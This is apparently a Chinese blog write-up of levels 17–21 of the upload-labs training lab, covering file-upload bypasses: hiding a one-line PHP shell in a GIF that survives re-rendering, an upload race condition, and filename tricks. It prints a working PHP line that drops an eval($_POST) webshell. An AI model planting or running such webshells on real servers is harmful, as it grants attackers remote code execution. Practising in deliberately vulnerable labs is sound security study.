2023-7-18 uploadlabs17-21

uploadlabs文件上传

看了遍笔记,之前做到17关二次渲染,就直接从这开始

17关

百度二次渲染,网上是这样说的:在我们上传文件后,网站会对图片进行二次处理(格式、尺寸,保存,删除 要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片(标准化)并放到网站对应的标签进行显示。

 在源码中我们可以看到这三个函数:

 这三个函数就是用来重新生成图像的

我们先来尝试一下直接上传

然后将上传后的图片重新下载回来

 打开后发现我们的一句话不见了,而且乱码也变了一部分,尝试把一句话放到前面不变的里面,但是会识别不出来png

网上查到gif不容易变,所以随便下个gif,然后同上,将渲染前后的图片放在一起对比

这里用到的是winhex(查看>同步和比较)(这里有些对不齐,大概知道黑色的部分都是相同的地方就行)

 找到前后相同的部分写入一句话

改成php直接放进去试一试

 好使

改回gif上传也没问题(这gif改了之后这么鬼畜吗)

再加上文件包含就完事儿了

18关

第18关条件竞争

 从上面的代码里能看到这一关先将文件传了上去再进行判断,如果不对劲就删掉,那我们如果再它删掉之前访问就能够执行这里的代码:

<?php fputs(fopen('shell.php','w'),'<?php@eval($_POST["1"])?>');?>

这段代码能够生成一个shell.php用来连接

然后用bp抓包不断地上传,同时写一个python脚本不断访问直到返回200的状态码

19关

第19关发现代码很长

 和上一关差不多,都是条件竞争,能看到多出了一些检验方式,但是似乎没多大用

 20关

提示及源码:

 直接通过点空格绕过

21关

刚才的办法行不通了

提示说来源于ctf,让我们审计代码

 偷个懒直接转载下大佬的图:

 图片转自:https://blog.csdn.net/qq_51789211/article/details/127538812

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值